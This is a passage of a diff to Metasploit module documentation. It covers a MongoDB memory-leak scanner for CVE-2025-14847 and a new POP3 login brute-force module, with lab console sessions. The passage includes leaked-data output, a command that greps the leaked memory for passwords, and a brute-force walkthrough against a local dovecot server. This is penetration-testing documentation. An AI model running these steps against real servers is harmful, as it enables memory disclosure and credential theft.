-[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
+[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
+[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
 ...
 
-[+] 192.168.1.100:27017 - Total leaked: 1703 bytes
-[+] 192.168.1.100:27017 - Unique fragments: 13
+[+] 192.168.1.100:27017 - Total leaked: 703 bytes
+[+] 192.168.1.100:27017 - Unique fragments: 8
 [+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin
 [+] 192.168.1.100:27017 - Raw responses saved to: /root/.msf4/loot/20251230_mongobleed_raw.bin
 ```
 
 You can then analyze the raw responses offline:
-```bash
+
+```
 strings /root/.msf4/loot/20251230_mongobleed_raw.bin | grep -i password
 ```
 
-### Server Without zlib Compression
-
-```
-msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
-msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
-
-[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
-[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
-[*] 192.168.1.100:27017 - Server compressors: snappy
-[-] 192.168.1.100:27017 - Server does not support zlib compression - vulnerability not exploitable
-[*] 192.168.1.100:27017 - The CVE-2025-14847 vulnerability requires zlib compression to be enabled
-[*] Auxiliary module execution completed
-```
-
 ## Technical Details
 
 ### How the Vulnerability Works
 
-The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was caused by returning `output.length()` (the allocated buffer size) instead of the actual decompressed data length. This allowed attackers to:
+The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was caused by returning `output.length()` (the allocated
+buffer size) instead of the actual decompressed data length. This allowed attackers to:
 
 1. Send a compressed message claiming a large uncompressed size
 2. MongoDB allocates a buffer based on the claimed size
@@ -324,7 +322,12 @@ The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was
 
 ### Detection Technique
 
-The Wiz Research "magic packet" used in the `check` method sends a minimal BSON document `{"a": 1}` inside a malformed `OP_COMPRESSED` message with an inflated `uncompressedSize` field. If the server responds with BSON signatures or field name errors containing unexpected data, the vulnerability is confirmed.
+The Wiz Research "magic packet" used in the `check` command sends a minimal BSON document `{"a": 1}` inside a malformed
+`OP_COMPRESSED` message with an inflated `uncompressedSize` field. If the server responds with BSON parsing errors, the vulnerability
+is confirmed, since a patched server rejects the inflated size before parsing.
+
+The module validates that the target is actually a MongoDB service before probing, preventing false positives against non-MongoDB
+services. Standard MongoDB error message strings are filtered from leak results to avoid reporting server error text as leaked memory.
 
 ## References
 

documentation/modules/auxiliary/scanner/pop3/pop3_login.md

@@ -0,0 +1,127 @@
+## Vulnerable Application
+
+POP3 is an application-layer Internet standard protocol used by e-mail clients
+to retrieve e-mail from a mail server.
+
+This module in particular attempts to authenticate to a POP3 service.
+The default wordlists are:
+- [unix_users.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/unix_users.txt) for users and
+- [unix_passwords.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/unix_passwords.txt) for passowords
+## Verification Steps
+
+1. Install and configure a pop3 server (ex: with dovecot)
+2. Start msfconsole
+3. Do: `use auxiliary/scanner/pop3/pop3_login`
+4. Do: `set rhosts [IP]`
+5. Do: `run`
+
+## Options
+
+### ANONYMOUS_LOGIN
+
+  Attempt to login with a blank username and password
+
+### BLANK_PASSWORDS
+
+  Try blank passwords for all users
+
+### BRUTEFORCE_SPEED
+
+  How fast to bruteforce, from 0 to 5
+
+### DB_ALL_CREDS
+
+  Try each user/password couple stored in the current database
+
+### DB_ALL_PASS
+
+  Add all passwords in the current database to the list
+
+### DB_ALL_USERS
+
+  Add all users in the current database to the list
+
+### DB_SKIP_EXISTING
+
+  Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
+
+### PASSWORD
+
+  A specific password to authenticate with
+
+### PASS_FILE
+
+  Newline separated list of probable users passwords. Default depends on install location,
+  however it will be within metasploit-framework/data/wordlists/unix_passwords.txt
+
+### STOP_ON_SUCCESS
+
+  Stop guessing when a credential works for a host
+
+### THREADS
+
+  The number of concurrent threads (max one per host)
+
+### USERNAME
+
+  A specific username to authenticate as
+
+### USERPASS_FILE
+
+  File containing users and pass words separated by space, one pair per line
+
+### USER_AS_PASS
+
+  Try the username as the password for all users
+
+
+### USER_FILE
+
+  Newline separated list of probable users accounts. Default depends on install location,
+  however it will be within metasploit-framework/data/wordlists/unix_users.txt
+
+                     
+### VERBOSE
+
+  Whether to print output for all attempts
+
+
+## Scenarios
+
+### Dovecot on Kali-Linux
+
+
+
+
+First we need to install an email server, here we will use dovecot:
+
+- `sudo apt install dovecot-core dovecot-pop3d` version 2.3 will be installed
+
+Then we can configure it
+
+- In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp`
+
+- In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice)
+
+Then we create a new user
+
+- `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd`
+
+We can now start the server with `sudo systemctl start dovecot`
+
+Now we can go into msfconsole:
+
+```
+msf > use auxiliary/scanner/pop3/pop3_login
+msf auxiliary(scanner/pop3/pop3_login) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf auxiliary(scanner/pop3/pop3_login) > set username alice
+username => alice
+msf auxiliary(scanner/pop3/pop3_login) > set password password123
+password => password123
+msf auxiliary(scanner/pop3/pop3_login) > run
+[+] 127.0.0.1:110         - 127.0.0.1:110         - Success: 'alice:password123' '+OK Logged in.  '
+[!] 127.0.0.1:110         - No active DB -- Credential data will not be saved!
+[*] 127.0.0.1:110         - Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```